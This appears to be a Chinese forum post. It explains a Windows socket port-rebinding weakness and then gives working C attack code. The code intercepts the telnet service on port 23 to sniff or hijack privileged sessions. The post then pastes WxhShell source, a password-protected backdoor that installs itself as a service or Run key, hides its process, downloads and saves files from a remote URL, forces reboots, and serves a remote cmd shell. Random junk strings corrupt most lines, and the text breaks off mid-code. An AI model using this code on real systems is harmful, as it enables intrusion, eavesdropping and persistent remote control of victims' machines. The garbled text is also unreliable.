在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gyh8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Nx*1m
BC q*a~9.i@ saddr.sin_family = AF_INET;
GGhk`z S^EAE] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
` ` Yk {%y|A{}c bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@}{uibLD\ .O#7X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w?N>3`Jnf ,PJC FQMR 这意味着什么?意味着可以进行如下的攻击:
)4:]gx#cr <1*\ ~CX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uKD
}5M?{ ,D<U PtPQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nf&5oE^ k:@N6K/$P^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
alNn(0MG _X=6M
gU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zA3r&stN+ IQ-l%x[fue 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
asmu< 4UzXTsjM7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E:A!tu$B z>
DQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iAXGf V lHTr7uF( #include
zh\"sxL #include
9v3n4=gc #include
7kT X #include
tuuwoiQ*` DWORD WINAPI ClientThread(LPVOID lpParam);
Gui[/iY,F int main()
uf (_<~ {
hJk:&!M=T WORD wVersionRequested;
q0vZR"y DWORD ret;
X*5N&AJ WSADATA wsaData;
UVgSO|Tg BOOL val;
R>;&4Sjr SOCKADDR_IN saddr;
e:.?T\ SOCKADDR_IN scaddr;
pm:- E(3# int err;
aX|(%1r SOCKET s;
(FgX9SV]p9 SOCKET sc;
ZB/1I;l`c int caddsize;
%Lh+W<; HANDLE mt;
UK,sMKbl1 DWORD tid;
XAtRA1. wVersionRequested = MAKEWORD( 2, 2 );
R1<$VR err = WSAStartup( wVersionRequested, &wsaData );
WQD:~*C: if ( err != 0 ) {
'Yc^9;C( printf("error!WSAStartup failed!\n");
hH%fWB2( return -1;
p1HbD`ST }
F8Mf,jnPs saddr.sin_family = AF_INET;
n'JS- FS!)KxC/- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gm!sLZ!X 8.I3%u saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
fH:S_7i saddr.sin_port = htons(23);
X6qgApyE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DUF$-'A {
UA]fKi printf("error!socket failed!\n");
=20
+(< return -1;
gOah5*Lj }
]?oJxW. val = TRUE;
e-\/1N84 //SO_REUSEADDR选项就是可以实现端口重绑定的
3MKu! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ucU7
@j {
N`N?1!fM<} printf("error!setsockopt failed!\n");
Zkqq< return -1;
*W>, 98 }
Q1|zX@, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
PDCb(5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ze#DFe$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7-}5
W e+4Eiv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z5)v {
*">CEQ[MT ret=GetLastError();
9d(#/n printf("error!bind failed!\n");
C+5X8 return -1;
Fr;
's(^ }
ZW0\_1 listen(s,2);
V7p
hD3Y while(1)
IXR'JZ?fH {
'RzO`-dr caddsize = sizeof(scaddr);
_VmXs&4 //接受连接请求
bQwG"N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
E'(nJ if(sc!=INVALID_SOCKET)
ZU+_nWnl {
p|dn&<kd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*rHz/& , if(mt==NULL)
_9p79S<+ {
d"Wuu1tEY printf("Thread Creat Failed!\n");
(uhE'IQ{( break;
X7`-dSVE }
vH1,As }
^Qn:#O9 CloseHandle(mt);
Y%- !%| }
)& Oxp&x closesocket(s);
`NEi/jB WSACleanup();
IA[:-2_ return 0;
S $o1Q }
B'`25u_e< DWORD WINAPI ClientThread(LPVOID lpParam)
EN":}!E: {
g;nLR<] SOCKET ss = (SOCKET)lpParam;
v2p0EOS SOCKET sc;
n"D` = unsigned char buf[4096];
=NI?Jk*iAq SOCKADDR_IN saddr;
1,Mm+_)B long num;
&/)B d% DWORD val;
UL>2gl4s/ DWORD ret;
~/z%yg //如果是隐藏端口应用的话,可以在此处加一些判断
~w|h;*Bj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'gg<)Bd saddr.sin_family = AF_INET;
g`fMHU7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i^ |G saddr.sin_port = htons(23);
3/yt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dC-~=}HR^ {
KRcB_( printf("error!socket failed!\n");
sK&kp=zu return -1;
ZZTf/s* }
]FIIs58IM val = 100;
~K<h~TNP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,r]H+vWS {
-38"S;M8 ret = GetLastError();
o^*: return -1;
BnGoB`n }
vD?D]8.F~Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.s!0S-RkC {
k<+Sj
h$ ret = GetLastError();
A|:+c*7] return -1;
Vwh;QJxb }
_od /)# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
UntFkoO {
r=vY-p printf("error!socket connect failed!\n");
5$HG#2"Kb# closesocket(sc);
R9#ar{ closesocket(ss);
~_N,zw{x return -1;
z>,M@@ }
^RT_Lky while(1)
Y&U-d{" {
Haekr*1% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~_ZK93o( //如果是嗅探内容的话,可以再此处进行内容分析和记录
ge6S_" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?<
teHFj num = recv(ss,buf,4096,0);
]sL.+.P if(num>0)
Y;huTZ send(sc,buf,num,0);
k}&wy else if(num==0)
Ka-o$o[^u` break;
JehanF[ num = recv(sc,buf,4096,0);
]Sa#g&}T> if(num>0)
8]`s&d@GY send(ss,buf,num,0);
GIc q|Pe else if(num==0)
zuW4gJ break;
HR8YPU5
}
X';qcn_^ closesocket(ss);
V6HZvuXV! closesocket(sc);
,Ww}xmq1H return 0 ;
<PuY"-`/Oc }
Q<;EQb# 'PY; ?QJx!'Y,p ==========================================================
gT$WG$^i FK~wr;[ 下边附上一个代码,,WXhSHELL
rOt{bh6r %7aJSuQN% ==========================================================
*GBV[D[G, (@xC-* #include "stdafx.h"
Z$KyK.FUU %N~c9B #include <stdio.h>
)e`9U.C #include <string.h>
A^X\ #include <windows.h>
('C)S)98C #include <winsock2.h>
ecz-jZ!
` #include <winsvc.h>
Y,Z$U| U #include <urlmon.h>
stUv! hLgX0QV #pragma comment (lib, "Ws2_32.lib")
m?B=?;B9# #pragma comment (lib, "urlmon.lib")
Fs $FR-x |gP) lR #define MAX_USER 100 // 最大客户端连接数
*P/A&"i[E #define BUF_SOCK 200 // sock buffer
l9=Ka{$^* #define KEY_BUFF 255 // 输入 buffer
;w"h n* bO/r1W #define REBOOT 0 // 重启
Dbj?l;'1 #define SHUTDOWN 1 // 关机
(Z?f eUxp nA("
cD[, #define DEF_PORT 5000 // 监听端口
qp6'n&^& H%U #define REG_LEN 16 // 注册表键长度
t`|Rn9- #define SVC_LEN 80 // NT服务名长度
@YH>|{S& 4_j_!QH87 // 从dll定义API
ov, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V'W*'wo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ro<w8V9.a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
p.g> +7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
IO"P /Q ciml:"nQ // wxhshell配置信息
wdBBx\FP struct WSCFG {
2ns,q0I
A int ws_port; // 监听端口
BV>9U5 char ws_passstr[REG_LEN]; // 口令
/]Y#*r8jRi int ws_autoins; // 安装标记, 1=yes 0=no
v@[3R7|4 char ws_regname[REG_LEN]; // 注册表键名
\ 9V_[xD+ char ws_svcname[REG_LEN]; // 服务名
:6t73\O char ws_svcdisp[SVC_LEN]; // 服务显示名
h;+O96V4. char ws_svcdesc[SVC_LEN]; // 服务描述信息
>TCit1yD char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G`0{31us int ws_downexe; // 下载执行标记, 1=yes 0=no
rCA!b"C2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
UsU
Ri char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9(S=0< ';Nc;9 };
H@wjZ;R yy8BkG( // default Wxhshell configuration
K\xM%O? struct WSCFG wscfg={DEF_PORT,
XBCHJj]k "xuhuanlingzhe",
r^C(|Vx 1,
y< dBF[ "Wxhshell",
x
zF "Wxhshell",
YB4
ZI "WxhShell Service",
OQ_<V xz "Wrsky Windows CmdShell Service",
W?4:sLC#3 "Please Input Your Password: ",
O]hUOc`k 1,
i>h3UIx\ "
http://www.wrsky.com/wxhshell.exe",
eF{uWus "Wxhshell.exe"
v+Y^mV`| };
AU`z.Isf E8sM`2z5 // 消息定义模块
I
F!xZ6X8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T|S-?X, char *msg_ws_prompt="\n\r? for help\n\r#>";
Y1sK sdV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i7h^L)M char *msg_ws_ext="\n\rExit.";
sB*dv06b0 char *msg_ws_end="\n\rQuit.";
R-Lpgi<a" char *msg_ws_boot="\n\rReboot...";
F3!@|/<w char *msg_ws_poff="\n\rShutdown...";
#BBDI char *msg_ws_down="\n\rSave to ";
N5 ; z5E DKMkCPX% char *msg_ws_err="\n\rErr!";
P8dMfD*"E char *msg_ws_ok="\n\rOK!";
s,[I_IiPf RbxQTM_:M char ExeFile[MAX_PATH];
e> 9X int nUser = 0;
7lwI]/ZH* HANDLE handles[MAX_USER];
ti9e(Jt!O int OsIsNt;
bIBF2m4 |-\anby< SERVICE_STATUS serviceStatus;
DPW^OgL; SERVICE_STATUS_HANDLE hServiceStatusHandle;
Lc}hjK L7rr/D // 函数声明
5TuwXz1v int Install(void);
e#mf{1& int Uninstall(void);
^znUf4N1 int DownloadFile(char *sURL, SOCKET wsh);
M61Nl)|mx& int Boot(int flag);
lc5(^~ void HideProc(void);
$X)|`$#pL# int GetOsVer(void);
b1IAp >*2l int Wxhshell(SOCKET wsl);
]JGq{I>%+6 void TalkWithClient(void *cs);
jsgDJ} int CmdShell(SOCKET sock);
~s'}_5;VY int StartFromService(void);
aDX&j2/ int StartWxhshell(LPSTR lpCmdLine);
cyWb*Wv ~x'8T!M{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b&h'>( VOID WINAPI NTServiceHandler( DWORD fdwControl );
]=-=D9ZS3 @(6i 1Iwu9 // 数据结构和表定义
a6z0p%sIZ SERVICE_TABLE_ENTRY DispatchTable[] =
,R-k]^O {
xu-bn {wscfg.ws_svcname, NTServiceMain},
yc7b%T*Y {NULL, NULL}
m2(}$z3e };
0#Ug3_dfr *(r9c(x a // 自我安装
ERK{smL int Install(void)
UJL'4 t/ {
5D7 L)> char svExeFile[MAX_PATH];
x@oxIXN HKEY key;
7#UJ444b~ strcpy(svExeFile,ExeFile);
r 56~s5A kkHK~(>G // 如果是win9x系统,修改注册表设为自启动
[vb#W!M&| if(!OsIsNt) {
&${| o@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o?M ;f\Fy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TeZu*c RegCloseKey(key);
h2mHbe43 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\oxf_4X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ShV_8F z RegCloseKey(key);
Lhg return 0;
f&5S`}C }
I'{Ctc }
(HeSL),1 }
p(GI02|n else {
'M? ptu?f hUvA;E(qD // 如果是NT以上系统,安装为系统服务
;
Gv-$0{P3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g6DIWMoO=h if (schSCManager!=0)
gk8v{'0Er {
7vPGb:y SC_HANDLE schService = CreateService
.HY,'oC. (
It/'R-H schSCManager,
7W4m&+ wscfg.ws_svcname,
M9Sj@ ww wscfg.ws_svcdisp,
8#A4B2 SERVICE_ALL_ACCESS,
\A\?7#9\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2,I]H'}^ SERVICE_AUTO_START,
GK11fZpO:i SERVICE_ERROR_NORMAL,
s-SFu svExeFile,
{GT5 NULL,
ea$. + NULL,
sEw ?349Bz NULL,
B!)9
> NULL,
Snmv NULL
DU*qhW`X );
qPDRB.K|} if (schService!=0)
RlvvO {
T&S=/cRBK} CloseServiceHandle(schService);
^e]O
>CJ CloseServiceHandle(schSCManager);
#>~A-k) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
w-km
qh strcat(svExeFile,wscfg.ws_svcname);
^z qQ8{oV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Kt]vTn7!9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z{#3-O<a+n RegCloseKey(key);
[\Aws^fD_ return 0;
[Ax:gj }
CUC]-]8 }
4J=6U&b CloseServiceHandle(schSCManager);
JCZ&TK }
69ycP( }
/:\27n dKDCJt]t
return 1;
W>{&"
5 }
>N`,
3;Z 0%\fm W j // 自我卸载
}4c$_ int Uninstall(void)
0?I {
Xooh00 HKEY key;
#
E8?2] +W-b3R:1> if(!OsIsNt) {
jL3
*m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wLO"[, RegDeleteValue(key,wscfg.ws_regname);
D"fjk1 RegCloseKey(key);
k{Y\YG%b
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$OGMw+$C^ RegDeleteValue(key,wscfg.ws_regname);
w*@9:+ RegCloseKey(key);
I~"l9Jc!" return 0;
?6N\AM' }
7uv"# mq }
Pq-@waH3 }
oz3!%' else {
f::^zAV T2|<YJ= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
$'#}f? if (schSCManager!=0)
:=q9ay {
@\-*aS_8> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l96AJB' if (schService!=0)
qM^y@B2MO {
0f+]I=1\ if(DeleteService(schService)!=0) {
xTcY& CloseServiceHandle(schService);
#^-'q`) CloseServiceHandle(schSCManager);
~xPetkl@ return 0;
Qd?S~3XT }
fR2,NKM@ CloseServiceHandle(schService);
oc-o>H }
j~;y~Cx? CloseServiceHandle(schSCManager);
FS?1O"_ }
Skux&'N: }
!([ v=O# 2Qp]r+! return 1;
C<^S$ }
b3GTsX\2| &s\,+d0 // 从指定url下载文件
^b.fci{1m int DownloadFile(char *sURL, SOCKET wsh)
<X97W\ {
+@@( C9 HRESULT hr;
IL*MB;0> char seps[]= "/";
J04R,B char *token;
\naG char *file;
:2{ [f+ char myURL[MAX_PATH];
V*6&GM& char myFILE[MAX_PATH];
98{n6$\ GapH^trm strcpy(myURL,sURL);
t3Iij0b~ token=strtok(myURL,seps);
6p,}?6^ while(token!=NULL)
Fk`6
q {
:}v:=c k file=token;
c Ct5m token=strtok(NULL,seps);
"(+aWvb }
GsqO^SV $VxuaOTyVZ GetCurrentDirectory(MAX_PATH,myFILE);
D9r;Ys% strcat(myFILE, "\\");
4tapQgj24 strcat(myFILE, file);
G6"4JTWO send(wsh,myFILE,strlen(myFILE),0);
U!nNT== send(wsh,"...",3,0);
Mw;^`ZxT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(i@(ZG]/ if(hr==S_OK)
t$Ua&w return 0;
VOmS>'$ else
$@dPIq4o;} return 1;
U[@B63];0 ;q<:iaY9 }
CTX%~1_`O ].gC9@C:$i // 系统电源模块
pl 1CEoe int Boot(int flag)
iW?NxP {
JQ\o[t HANDLE hToken;
2
t]=-@ TOKEN_PRIVILEGES tkp;
@c,=c+- xz/G$7q7 if(OsIsNt) {
mj2sbRiSR= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ck`$ ` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Yd~Tzh tkp.PrivilegeCount = 1;
0@#d($'1?Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@y# u!} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_x7>d:C if(flag==REBOOT) {
_ 1\H{x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gLg\W3TOi return 0;
d[ce3':z }
>P ygUY
d else {
UWBR5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
). HnK return 0;
6rAenK-% }
Y3luU&' }
q +c~Bd else {
mw=keY9] if(flag==REBOOT) {
-.vNb!= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-EU~
%/=m+ return 0;
nyd'79~>G }
LoS%FI else {
{Hxziyv~Y( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
MCfDR#a return 0;
M5LqZyY }
55x.Q }
k%cT 38V* sVIw'W return 1;
\OF"hPq }
2 wZyUB; !2]G.|5/A // win9x进程隐藏模块
s.@DI|Gnf void HideProc(void)
Cx`?}A\% {
&eX^ll }Q>??~mVl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x$V[xX if ( hKernel != NULL )
/57)y_ \ {
q?Mmkh)g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
If. hA} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
cz*Z/5XH FreeLibrary(hKernel);
WAh{*$Rpl }
*s"{JrG`O "V7 &@3 return;
pS)/yMlVj }
pd}af iF
0GiL(e| // 获取操作系统版本
+t;j5\HS int GetOsVer(void)
?-PW$p {
|Ns[{/ OSVERSIONINFO winfo;
Qc"UTvq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>1d`G%KfG GetVersionEx(&winfo);
,7|2K &C5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
r;&rc:?A return 1;
:mz6*0qW else
kA<58,! return 0;
Y-c_ 2 ) }
C+c;UzbD t[ ^68] // 客户端句柄模块
e?!A]2 int Wxhshell(SOCKET wsl)
"zBYhZr {
FDO$(& SOCKET wsh;
D7b]
;Nf\ struct sockaddr_in client;
Ja#ti y DWORD myID;
:+\B|*T2.L VSa#X |z while(nUser<MAX_USER)
b\9}zmG[u {
q%GlS=o" int nSize=sizeof(client);
o%=OBTh_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
TW?A/GoXI if(wsh==INVALID_SOCKET) return 1;
Ny)!uqul* N;]"_" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`+Ojh>"*z* if(handles[nUser]==0)
AE 2>smp5@ closesocket(wsh);
a-7T else
JN-wToOF nUser++;
I HtNaN ) }
c2<JS:!*
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D>Dch0{H,: 'uw=)8t7 return 0;
8!{F6DG }
^<O=<tN\ hbv>Jjd // 关闭 socket
s@ vHU4 void CloseIt(SOCKET wsh)
3]1uDgfr {
W-+~r closesocket(wsh);
\>*B nUser--;
&]Q\@;]Aq ExitThread(0);
Wr Nm:N }
+\n8##oAI d' Z // 客户端请求句柄
#Y;_W;# void TalkWithClient(void *cs)
X8 (,
,>_ {
@e_<OU =tE7XC3X_ SOCKET wsh=(SOCKET)cs;
\d#|n u char pwd[SVC_LEN];
oO8V0VE\ char cmd[KEY_BUFF];
*^q%b/ f char chr[1];
c>%+y+b{ int i,j;
V.*0k~ xr*hmp1 while (nUser < MAX_USER) {
VUaYK 0R%R2p'wG if(wscfg.ws_passstr) {
ki[Yu+';} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9'|NF< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B&E qd //ZeroMemory(pwd,KEY_BUFF);
~ g \GC i=0;
{@c)!%2$ while(i<SVC_LEN) {
g~JN"ap %4~2 // 设置超时
],HF)21 fd_set FdRead;
5g3D}F>OJ struct timeval TimeOut;
3;6Criq} FD_ZERO(&FdRead);
2#bpWk 9 FD_SET(wsh,&FdRead);
gE>_:s TimeOut.tv_sec=8;
9$pQ|e0tJ TimeOut.tv_usec=0;
HTz&h#)JQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5[_|+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
prx)Cfv Z2,[-8,Kx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[80L|?, * pwd
=chr[0]; P<@V
if(chr[0]==0xd || chr[0]==0xa) { 8e 9ZgC|
pwd=0; t_PAXj
break; D`2c61jyc
} |Y6+Y{|\
i++; * 0GR
}k
} VYb6#sl
-_@3!X1~i+
// 如果是非法用户,关闭 socket Q$NT>d6Q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dd +%d
} 1 U|IN=
k%5o5Hx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O.%'
47A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `c zL$tN<P
'7UW\KEB[}
while(1) { yrnIQu*Uu
%,G&By&,
ZeroMemory(cmd,KEY_BUFF); $s*\yam?|
qd=&*?
// 自动支持客户端 telnet标准 WxB}Uh
j=0; fP>*EDn@xg
while(j<KEY_BUFF) { H +O7+=&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DRC2U%[
cmd[j]=chr[0]; jW^@lH
EU
if(chr[0]==0xa || chr[0]==0xd) { ]\y:AkxhJ
cmd[j]=0; G{,X_MZ%
break; cg-\|H1
} 9 -\.|5;:
j++; [f9U9.fR
} #@QZ
zoUM<6q
// 下载文件 )zzK\I6/EQ
if(strstr(cmd,"http://")) { hP1H/=~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x4&<Vr
if(DownloadFile(cmd,wsh)) =@F1J7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VfK8')IXk
else DeTx7 i0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xWv@PqXD
} WQ(*A
$
else { dvWQ?1l_
T(UPWsj
switch(cmd[0]) { &\Es\qVSf
w^e5" og]
// 帮助 a9h K8e
case '?': { Sl,\<a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @j/UDM
break; :`~;~gW<
} k?%?EsR
// 安装 Bg"KNg
case 'i': { Z=P]UD
if(Install()) +}eGCZra
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rq;Xcc
else FwB}@)3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \t6k(5J
break; _sEkKh8x
} To_Y
8 G
// 卸载 HzcI2
P`|
case 'r': { gVM&wo |
if(Uninstall()) t u)kWDk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\w:'%>-
else E;Akm':
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D<-MbK^S
break; j06q3N"
} R!mFMw"
// 显示 wxhshell 所在路径 cO]_5@#f'8
case 'p': { $e
bx
char svExeFile[MAX_PATH]; |yqL0x0\l
strcpy(svExeFile,"\n\r"); jea{BhdUr
strcat(svExeFile,ExeFile); ~C|. .Z
send(wsh,svExeFile,strlen(svExeFile),0); f@3?kM(
break; ?C%mwW3pc
} PBXRey7>D
// 重启 yfq Vx$YL
case 'b': { Pz+2(Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sop*?0
if(Boot(REBOOT)) P4&3jQ[o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i&%~:K*
else { -@6R`m=>
closesocket(wsh); ^lB=O
ExitThread(0); kj$Ks2!W
} ,4O|{Iu#n
break; fC$Rz#5?
} O;bnyB$
// 关机 _"b[UT}m
case 'd': { Ka EL*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZCP
r`H
if(Boot(SHUTDOWN)) :Pa^/i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }XJA#@
else { /$w,8pV=
closesocket(wsh); ,".1![b
ExitThread(0); |ia#Elavo
} nY]5pOF:
break; `7v"(
} >(>,*zP<9
// 获取shell xL-]gwq
case 's': { JDp"!x{O
CmdShell(wsh); zEHX:-f8
closesocket(wsh); <'{*6f@n
ExitThread(0); V 6DWYs>
break; Bri yy
} Owe"x2D\
// 退出 RM\A$.5
case 'x': { K{]9Yo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zWN<"[agc
CloseIt(wsh); b3'U}0Ug
break; T?4pV#
} XLu Y
// 离开 E79'<;K,zs
case 'q': { Z1 7=g@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =tk O^
closesocket(wsh); QD2;JI2
WSACleanup(); pTQ70V3
exit(1); r |H 1Yy
break;
;rH<
} xaPaK-
} VLdQXNg9W"
} y.iA]Ikz
wFe?0u
// 提示信息 @%aU)YDwi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q%_QT0H9Kz
} dH5 Go9`~R
} DlMT<ld
| e?:Uq
return; ^~
95q0hq:
} 5_H`6-q
_l{`lQ}
// shell模块句柄 {IB}g:
int CmdShell(SOCKET sock) zs=[C+Z\
{ [>IV#6 $
STARTUPINFO si; '<Fr}Cn
ZeroMemory(&si,sizeof(si)); !_yWe
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e&R?9z-*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sGAOK%28
PROCESS_INFORMATION ProcessInfo; %0y_WIjz
char cmdline[]="cmd"; D1ep7ykY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 43'!<[?x
return 0; efT@A}sV
} _~QiQDq
8q}955Nl
// 自身启动模式 4X}.aZO&b
int StartFromService(void) V6L0\
{ M:PEY*4H
typedef struct ;4%Co)Rw
{ 3J3Yt`
DWORD ExitStatus;
;4:[kv@
DWORD PebBaseAddress; Rj'Tu0l
DWORD AffinityMask; (XU(e
DWORD BasePriority; J,W<vrKOcN
ULONG UniqueProcessId; l_2B
ULONG InheritedFromUniqueProcessId; nT:F{2 M;
